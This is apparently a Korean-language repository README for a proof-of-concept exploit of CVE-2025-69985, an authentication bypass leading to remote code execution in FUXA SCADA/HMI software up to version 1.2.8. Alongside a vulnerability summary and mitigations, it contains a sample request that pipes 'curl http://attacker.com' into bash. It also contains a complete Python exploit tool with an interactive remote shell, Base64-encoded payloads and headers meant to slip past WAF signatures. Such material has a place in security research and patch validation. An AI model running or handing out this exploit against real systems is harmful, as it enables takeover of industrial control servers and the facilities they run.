
CVE-2025-69985에 대한 PoC 익스플로잇: FUXA SCADA ≤1.2.8의 인증 우회로 인한 RCE. 대화형 셸, Base64 페이로드 인코딩, 침투 테스트를 위한 프록시 지원을 포함한 모듈식 Python 익스플로잇이 포함되어 있습니다.
이 저장소에는 FUXA(버전 ≤1.2.8)에 영향을 미치는 취약점 CVE-2025-69985에 대한 개념 증명(PoC) 및 상세 기술 문서가 포함되어 있습니다. 이 취약점은 비인증 공격자가 애플리케이션 미들웨어의 인증 우회를 통해 서버에서 임의의 명령을 실행(RCE) 할 수 있게 합니다.
Windows의 전통적인 메모리 오버플로우와 같은 취약점과 달리, 이 결함은 미들웨어의 논리적 결함에 있으며, 서버가 Referer 헤더의 잘못된 검증으로 인해 외부 요청을 내부 요청으로 혼동합니다.
| CVE | CVE-2025-69985 |
|---|---|
| 유형 | 대체 경로를 통한 인증 우회 (CWE-288) |
| 영향 | 원격 코드 실행 (RCE) |
| 심각도 | 9.8 심각 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| 영향을 받는 버전 | FUXA ≤ 1.2.8 |
| 플랫폼 | Node.js |
| 제품 | FUXA (웹 기반 SCADA/HMI) |
FUXA의 미들웨어는 Referer 헤더를 맹목적으로 신뢰합니다. 공격자가 다음과 같은 요청을 보내면:
Referer: http://<target-ip>/
서버는 요청이 내부에서 온 것으로 간주하고 JWT 토큰 검증을 생략하여 인증 없이 보호된 엔드포인트에 접근할 수 있습니다.
인증을 우회하면 공격자는 Node.js 스크립트를 실행하도록 설계된 /api/runscript 엔드포인트와 상호작용할 수 있습니다. 악성 JSON 페이로드를 전송하여 서버 프로세스에 대한 완전한 제어권을 얻습니다.
POST /api/runscript HTTP/1.1
Host: target-fuxa.local
Referer: http://target-fuxa.local
Content-Type: application/json
{
"script": "require('child_process').exec('curl http://attacker.com | bash')",
"parameters": {}
}
⚠️ 참고: 이 예시는 설명용입니다. 승인 없이 프로덕션 환경에서 실행하지 마십시오.
| 제품 | 버전 | 플랫폼 |
|---|---|---|
| FUXA | ≤ 1.2.8 | Node.js |
즉시 업데이트 FUXA를 1.2.8보다 높은 버전(공식 패치)으로 업데이트하십시오.
수동 패치
server/api/jwt-helper.js를 수정하여 인증 방법으로 Referer 헤더를 신뢰하는 것을 제거하십시오.
WAF 구현
Web Application Firewall을 구성하여 Referer 헤더와 관계없이 알려진 관리 네트워크에서 오지 않는 /api/runscript 엔드포인트로의 요청을 차단하십시오.
🔴 이 자료는 교육 및 보안 감사 목적으로만 제공됩니다. 🔴 명시적 승인 없이 시스템에 대해 이러한 기술을 사용하는 것은 불법입니다. 🔴 저자는 이 정보의 오용에 대해 책임을 지지 않습니다.
익스플로잇을 전문가 수준(Exploit-DB 또는 Red Team 도구 스타일)으로 끌어올리는 고급 기능:
fuxa-exploit.py)import requests
import argparse
import sys
import urllib3
import base64
from typing import Optional
# Configuración estética
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class Logger:
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BLUE = '\033[94m'
RESET = '\033[0m'
@staticmethod
def info(msg): print(f"{Logger.BLUE}[*]{Logger.RESET} {msg}")
@staticmethod
def success(msg): print(f"{Logger.GREEN}[+]{Logger.RESET} {msg}")
@staticmethod
def warn(msg): print(f"{Logger.YELLOW}[!]{Logger.RESET} {msg}")
@staticmethod
def error(msg): print(f"{Logger.RED}[-]{Logger.RESET} {msg}")
class FuxaExploit:
def __init__(self, base_url: str, proxy: Optional[str] = None):
self.base_url = base_url.rstrip('/')
self.session = requests.Session()
self.session.verify = False
if proxy:
self.session.proxies = {"http": proxy, "https": proxy}
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Referer": f"{self.base_url}/fuxa"
})
def check_vulnerable(self) -> bool:
"""Verifica si el endpoint existe antes de atacar."""
try:
r = self.session.get(f"{self.base_url}/api/runscript", timeout=10)
return r.status_code in [401, 405, 200] # Depende de la config del WAF/App
except Exception:
return False
def execute(self, command: str) -> str:
# Payload mejorado: Encoding en Base64 para evitar romper el JSON
b64_cmd = base64.b64encode(command.encode()).decode()
js_code = (
f"const c = Buffer.from('{b64_cmd}', 'base64').toString();"
"const r = require('child_process').execSync(c);"
"return r.toString();"
)
payload = {
"params": {
"script": {
"id": "exp", "name": "exp",
"code": js_code, "test": js_code
}
}
}
try:
r = self.session.post(f"{self.base_url}/api/runscript", json=payload, timeout=20)
return r.text.strip() if r.status_code == 200 else f"Error: {r.status_code}"
except Exception as e:
return f"Exception: {str(e)}"
def main():
parser = argparse.ArgumentParser(description="CVE-2025-69985 - FUXA Professional Exploit Tool")
parser.add_argument("-u", "--url", required=True, help="Target URL")
parser.add_argument("-c", "--cmd", help="Single command to execute")
parser.add_argument("-i", "--interactive", action="store_true", help="Spawn a pseudo-interactive shell")
parser.add_argument("--proxy", help="HTTP proxy (ex: http://127.0.0.1:8080)")
args = parser.parse_args()
exploit = FuxaExploit(args.url, args.proxy)
Logger.info(f"Targeting: {args.url}")
if args.interactive:
Logger.success("Entering interactive mode. Type 'exit' to quit.")
while True:
try:
cmd = input(f"{Logger.GREEN}fuxa-shell$ {Logger.RESET}").strip()
if cmd.lower() in ['exit', 'quit']: break
if not cmd: continue
print(exploit.execute(cmd))
except KeyboardInterrupt: break
elif args.cmd:
Logger.info(f"Executing: {args.cmd}")
print(exploit.execute(args.cmd))
else:
parser.print_help()
if __name__ == "__main__":
main()
⚠️ 책임 있는 사용: 통제된 환경에서만 명시적 승인을 받고 실행하십시오.
| 특징 | 설명 |
|---|
| 🔹 동적 셸 처리 | 여러 명령을 실행할 수 있는 대화형 REPL을 여는 --interactive (-i) 모드. |
| 🔹 탐지 및 핑거프린팅 | 공격을 시작하기 전에 /api/runscript 엔드포인트가 존재하는지 확인합니다 (check_vulnerable()). |
| 🔹 개선된 페이로드 | 문자 이스케이프 문제(&, >, " 등)를 피하기 위해 Base64로 인코딩된 명령. |
| 🔹 네트워크 견고성 | 임의 User-Agent 및 프록시 지원 (Burp Suite 또는 디버깅에 유용). |
| 🔹 OOP (객체 지향 프로그래밍) | 모듈식, 재사용 가능, 확장 가능한 FuxaExploit 클래스. |
| 특징 | 이점 |
|---|
| 🔹 OOP | 모듈성: FuxaExploit 클래스는 다른 스크립트나 도구에서 가져올 수 있습니다. |
| 🔹 Base64 우회 | 복잡한 명령어에서 이스케이프 문제 방지 (예: &, >, " 등). |
🔹 유사 셸 (-i) | 스크립트를 다시 시작하지 않고 시스템을 대화형으로 조사할 수 있습니다. |
| 🔹 프록시 지원 | Burp Suite 또는 mitmproxy와 같은 도구를 사용하여 익스플로잇을 디버깅하는 데 유용합니다. |
| 🔹 현실적인 헤더 | WAF의 기본 시그니처를 피하기 위한 브라우저 User-Agent. |